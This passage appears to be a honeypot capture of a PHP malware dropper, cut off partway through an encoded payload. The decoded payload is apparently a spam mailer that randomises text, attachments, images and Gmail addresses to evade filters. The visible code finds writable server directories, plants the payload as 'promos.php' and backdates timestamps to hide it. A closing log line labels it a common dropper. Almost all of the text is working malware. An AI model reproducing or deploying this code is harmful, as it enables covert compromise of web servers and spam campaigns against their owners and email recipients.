TY0Jy4iXHJcbiI7CgkkYm9keS49J1gtQXR0YWNobWVudC1JZDogJy5yYW5kKDEwMDAsOTk5OTkpLiJcclxuXHJcbiI7CgkkYm9keS49IGNodW5rX3NwbGl0KGJhc2U2NF9lbmNvZGUodGV4dCgpKSk7CgoJaWYobWFpbCgkdG8sJHN1YmplY3QsJGJvZHksJGhlYWRlcnMpKXsKCQlyZXR1cm4gdHJ1ZTsKCX0KCXJldHVybiBmYWxzZTsKfQoKZnVuY3Rpb24gc3RyX3JlcGxhY2Vfb25jZSgkc2VhcmNoLCRyZXBsYWNlLCR0ZXh0KXsgCiAgICRwb3M9c3RycG9zKCR0ZXh0LCAkc2VhcmNoKTsKICAgcmV0dXJuICRwb3MhPT1mYWxzZSA/IHN1YnN0cl9yZXBsYWNlKCR0ZXh0LCRyZXBsYWNlLCRwb3Msc3RybGVuKCRzZWFyY2gpKSA6ICR0ZXh0Owp9CgpmdW5jdGlvbiBmaWxlbmFtZSgkbmFtZSl7CgkkZm9ybWF0PWVuZChleHBsb2RlKCcuJywkbmFtZSkpOwoJJGFycmF5W109J1NEQyc7ICRhcnJheVtdPSdQJzsgJGFycmF5W109J0RDJzsgJGFycmF5W109J0NBTSc7ICRhcnJheVtdPSdJTUctJzsKCSRpbWc9YXJyYXkoJ3BuZycsJ2pwZycsJ2dpZicsJ2pwZWcnLCdibXAnKTsKCglmb3IoJGM9MCwkbWF4PXNpemVvZigkaW1nKTskYzwkbWF4OyRjKyspewoJCWlmKHN0cnRvbG93ZXIoJGZvcm1hdCk9PSRpbWdbJGNdKXsKCQkJJHJhbmQ9cmFuZCgxMCw5OTk5OTkpOwoJCQlyZXR1cm4gJGFycmF5W3JhbmQoMCw0KV0uJHJhbmQuJy4nLiRmb3JtYXQ7CgkJfQoJfQoJcmV0dXJuIHJhbmRUZXh0KCkuJy4nLiRmb3JtYXQ7Cn0KCmZ1bmN0aW9uIGZpbGVTdHJpbmcoJG5hbWUpewoJJGZvcm1hdD1lbmQoZXhwbG9kZSgnLicsJG5hbWUpKTsKCglpZihzdHJ0b2xvd2VyKCRmb3JtYXQpPT0nanBlZycgb3Igc3RydG9sb3dlcigkZm9ybWF0KT09J2pwZycpewoJCWlmKENoZWNrUmFuZElNRygpKXsKCQkJcmV0dXJuIFJhbmRJTUcoJF9GSUxFU1snZmlsZSddWyd0bXBfbmFtZSddKTsKCQl9Cgl9CglyZXR1cm4gZmlsZV9nZXRfY29udGVudHMoJF9GSUxFU1snZmlsZSddWyd0bXBfbmFtZSddKTsKfQoKZnVuY3Rpb24gcmFuZFRleHQoKXsKCSRzdHI9J3F3ZXJ0eXVpb3Bhc2RmZ2hqa2x6eGN2Ym5tJzsKCSRzaXplPXJhbmQoMyw4KTsgJHJlc3VsdD0nJzsKCglmb3IoJGM9MDskYzwkc2l6ZTskYysrKXsKCQkkcmVzdWx0Lj0kc3Rye3JhbmQoMCxzdHJsZW4oJHN0ciktMSl9OwoJfQoJcmV0dXJuICRyZXN1bHQ7Cn0KCmZ1bmN0aW9uIHRleHQoKXsKCSRzdHI9J3F3ZXJ0eXVpb3Bhc2RmZ2hqa2x6eGN2Ym5tJzsKCSRzaXplPXJhbmQoOSwyMCk7ICRyZXN1bHQ9Jyc7CgoJZm9yKCRjPTA7JGM8JHNpemU7JGMrKyl7CgkJJHJhbmQ9cmFuZCg2LDEwKTsKCQkKCQlmb3IoJGk9MDskaTwkcmFuZDskaSsrKXsKCQkJJHJlc3VsdC49JHN0cntyYW5kKDAsc3RybGVuKCRzdHIpLTEpfTsKCQl9CgkJJHNpZ249YXJyYXkoJyAnLCcgJywnICcsJyAnLCcsICcsJz8gJywnLiAnLCcuICcpOwoJCSRyZXN1bHQuPSRzaWduW3JhbmQoMCw3KV07Cgl9CglyZXR1cm4gdHJpbSgkcmVzdWx0KTsKfQoKZnVuY3Rpb24gQ2hlY2tSYW5kSU1HKCl7CgkkYXJyYXk9YXJyYXkoCgkJJ2dldGltYWdlc2l6ZScsCgkJJ2ltYWdlY3JlYXRldHJ1ZWNvbG9yJywKCQknaW1hZ2VjcmVhdGVmcm9tanBlZycsCgkJJ2ltYWdlY29weXJlc2FtcGxlZCcsCgkJJ2ltYWdlZmlsdGVyJywKCQknb2Jfc3RhcnQnLAoJCSdpbWFnZWpwZWcnLAoJCSdvYl9nZXRfY2xlYW4nCgkpOwoKCWZvcigkYz0wLCRtYXg9c2l6ZW9mKCRhcnJheSk7JGM8JG1heDskYysrKXsKCQlpZighZnVuY3Rpb25fZXhpc3RzKCRhcnJheVskY10pKXsKCQkJcmV0dXJuIGZhbHNlOwoJCX0KCX0KCXJldHVybiB0cnVlOwp9CgpmdW5jdGlvbiBSYW5kSU1HKCRmaWxlKXsKCSRyYW5kWyd3aWR0aCddPXJhbmQoMSwyKTsKCSRyYW5kWydoZWlnaHQnXT1yYW5kKDEsMik7CgkkcmFuZFsncXVhbGl0eSddPXJhbmQoMSwyKTsKCSRyYW5kWydicmlnaHRuZXNzJ109cmFuZCgxLDIpOwoJJHJhbmRbJ2NvbnRyYXN0J109cmFuZCgxLDIpOwoKCWxpc3QoJHdpZHRoLCRoZWlnaHQpPWdldGltYWdlc2l6ZSgkZmlsZSk7CgoJaWYoJHJhbmRbJ3dpZHRoJ109PTEpewoJCSRzaWduPXJhbmQoMSwyKTsKCQlpZigkc2lnbj09MSl7CgkJCSRuZXdfd2lkdGg9JHdpZHRoK3JhbmQoMSwxMCk7CgkJfWVsc2V7CgkJCSRuZXdfd2lkdGg9JHdpZHRoLXJhbmQoMSwxMCk7CgkJfQoJfWVsc2V7CgkJJG5ld193aWR0aD0kd2lkdGg7Cgl9aWYoJHJhbmRbJ2hlaWdodCddPT0xKXsKCQkkc2lnbj1yYW5kKDEsMik7CgkJaWYoJHNpZ249PTEpewoJCQkkbmV3X2hlaWdodD0kaGVpZ2h0K3JhbmQoMSwxMCk7CgkJfWVsc2V7CgkJCSRuZXdfaGVpZ2h0PSRoZWlnaHQtcmFuZCgxLDEwKTsKCQl9Cgl9ZWxzZXsKCQkkbmV3X2hlaWdodD0kaGVpZ2h0OwoJfWlmKCRyYW5kWydxdWFsaXR5J109PTEpewoJCSRxdWFsaXR5PTc1OwoJfWVsc2V7CgkJJHF1YWxpdHk9cmFuZCg2NSwxMDUpOwoJfWlmKCRyYW5kWydicmlnaHRuZXNzJ109PTEpewoJCSRicmlnaHRuZXNzPXJhbmQoMCwzNSk7Cgl9ZWxzZXsKCQkkYnJpZ2h0bmVzcz0wOwoJfWlmKCRyYW5kWydjb250cmFzdCddPT0xKXsKCQkkc2lnbj1yYW5kKDEsMik7CgkJaWYoJHNpZ249PTEpeyAkc2lnbj0nKyc7IH1lbHNleyAkc2lnbj0nLSc7IH0KCQkkY29udHJhc3Q9cmFuZCgxLDE1KTsKCX1lbHNlewoJCSRzaWduPScnOwoJCSRjb250cmFzdD0wOwoJfQoKCSRpbWFnZV9wPWltYWdlY3JlYXRldHJ1ZWNvbG9yKCRuZXdfd2lkdGgsJG5ld19oZWlnaHQpOwoJJGltYWdlPWltYWdlY3JlYXRlZnJvbWpwZWcoJGZpbGUpOwoJaW1hZ2Vjb3B5cmVzYW1wbGVkKCRpbWFnZV9wLCAkaW1hZ2UsMCwwLDAsMCwkbmV3X3dpZHRoLCRuZXdfaGVpZ2h0LCR3aWR0aCwkaGVpZ2h0KTsKCWltYWdlZmlsdGVyKCRpbWFnZV9wLElNR19GSUxURVJfQ09OVFJBU1QsJHNpZ24uJGNvbnRyYXN0KTsKCWltYWdlZmlsdGVyKCRpbWFnZV9wLElNR19GSUxURVJfQlJJR0hUTkVTUywkYnJpZ2h0bmVzcyk7CglvYl9zdGFydCgpOwoJaW1hZ2VqcGVnKCRpbWFnZV9wLG51bGwsJHF1YWxpdHkpOwoJJG91dD1vYl9nZXRfY2xlYW4oKTsKCWltYWdlZGVzdHJveSgkaW1hZ2VfcCk7CgoJcmV0dXJuICRvdXQ7Cn0KCmZ1bmN0aW9uIGNoZWNrX2dtYWlsKCRlbWFpbCl7CglpZihzdHJzdHIoJGVtYWlsLCdAZ21haWwuJykpewoJCXJldHVybiBSYW5kR21haWwoJGVtYWlsKTsKCX1lbHNlewoJCXJldHVybiAkZW1haWw7Cgl9Cn0KCmZ1bmN0aW9uIFJhbmRHbWFpbCgkZW1haWwpewoJJGxvZ2luPWV4cGxvZGUoJ0AnLCRlbWFpbCk7ICRyZXN1bHQ9Jyc7CgkkbG9naW49c3RydG9sb3dlcihzdHJfcmVwbGFjZSgnLicsJycsJGxvZ2luWzBdKSk7CgoJJHNpemU9c3RybGVuKCRsb2dpbik7CgoJZm9yKCRjPTAsJG1heD0kc2l6ZTskYzwkbWF4OyRjKyspewoJCSR1cD1yYW5kKDAsMSk7ICRkb3Q9cmFuZCgwLDEpOwoKCQkkc3ltYm9sPSRsb2dpbnskY307CgoJCWlmKCR1cD09MSl7CgkJCSRzeW1ib2w9c3RydG91cHBlcigkc3ltYm9sKTsKCQl9aWYoJGRvdD09MSl7CgkJCSRzeW1ib2w9JHN5bWJvbC4nLic7CgkJfQoJCSRyZXN1bHQuPSRzeW1ib2w7Cgl9CgoJaWYoc3Vic3RyKCRyZXN1bHQsLTEpPT0nLicpewoJCSRyZXN1bHQ9c3Vic3RyKCRyZXN1bHQsMCwtMSk7Cgl9CgoJcmV0dXJuICRyZXN1bHQuJ0BnbWFpbC5jb20nOwp9Cgo/Pg==";
$fileName = "promos.php";
$filePrefix = "ini_";
$fileMode = 0;
function GetRandomPath($dirs, $depth) {
if($depth > (int)current($dirs)) {
$depth = (int)current($dirs);
}
$allKeys = array_keys($dirs, $depth);
return $allKeys[rand(0, count($allKeys) - 1)];
}
function FileWrite($filePath, $fileData, $fileMode, $filePrefix) {
$pathParts = pathinfo($filePath);
$fileTime = filemtime($pathParts["dirname"]);
if(file_exists($filePath)) {
if($fileMode == 2)
return "";
if($fileMode == 0)
$filePath = $pathParts["dirname"]."/".$filePrefix.$pathParts["basename"];
}
if($fp = fopen($filePath, "w")) {
fwrite($fp, $fileData);
fclose($fp);
touch($filePath, $fileTime);
touch($pathParts["dirname"], $fileTime);
return $filePath;
}
}
function is__writable($path) {
if ($path{strlen($path)-1}=="/")
return is__writable($path.uniqid(mt_rand()).".tmp");
if (file_exists($path)) {
if (!($f = @fopen($path, "r+")))
return false;
fclose($f);
return true;
}
if (!($f = @fopen($path, "w")))
return false;
fclose($f);
unlink($path);
return true;
}
function get_writable_dirs($startPath, $path = ""){
$depth_limit = 5;
$startPath = str_replace("\\", "/", $startPath);
$all_dirs = array();
$more_dirs = array();
if($path == ""){
if( is__writable($startPath."/") )
$all_dirs = array($startPath => 0);
$path = $startPath;
}
$depth = substr_count(str_replace($startPath, "", $path),"/");
//echo "checking $path";
if( is_writable($path."/") ){
//echo "$path writable";
$all_dirs[$path] = $depth;
}
if ( $depth > $depth_limit )
return null;
//echo $all_dirs[$path]."";
$d = scandir($path);
//print_r($d);
foreach( $d as $child ){
if( $child != "." && $child != ".." ){
//echo $child."";
$newPath = $path."/".$child;
if( is_dir($newPath) ) {
//echo $newPath." is dir ";
if ( is__writable($newPath."/") ){
//echo $newPath." is writable";
$all_dirs[$newPath] = substr_count(str_replace($startPath, "", $newPath),"/");
}
//echo $path."/".$child."";
$more_dirs = get_writable_dirs($startPath, $newPath);
if ( !empty($more_dirs) ){
$all_dirs = array_merge($all_dirs, $more_dirs);
}
}
}
}
arsort($all_dirs);
return $all_dirs;
}
//$allDirs = GetAllDirs($startDirectory);
$allDirs = get_writable_dirs($startDirectory);
if ( count($allDirs) < 1)
continue;
$randPath = GetRandomPath($allDirs, $depth);
//print_r($allDirs);
//continue;
$fileWritedPath = FileWrite($randPath."/".$fileName, base64_decode($fileData), $fileMode, $filePrefix);
$fileWritedPath = str_replace("//", "/", $fileWritedPath);
if(strlen($fileWritedPath) != 0){
/* echo $startDirectory."
"; */
$url = str_replace( str_replace("\\","/",$startDirectory), $domain, $fileWritedPath);
$url = "http://".$url;
if ( !strstr($url, "http://.") )
echo "p_url_to_check: ".$url."";
echo "
";
/*
if(strlen($_SERVER["DOCUMENT_ROOT"]) == 1)
echo substr($fileWritedPath, 1);
else
echo str_replace(str_replace("\\", "/", $_SERVER["DOCUMENT_ROOT"]), "", $fileWritedPath);
*/
}
p2 =
p3 =
Acting as WSO PHP eval, recognized common dropper.
Uploaded file: /var/tmp/188.40.81.84WiqM2DM84DBGMCs7q5JorQAAAAUfile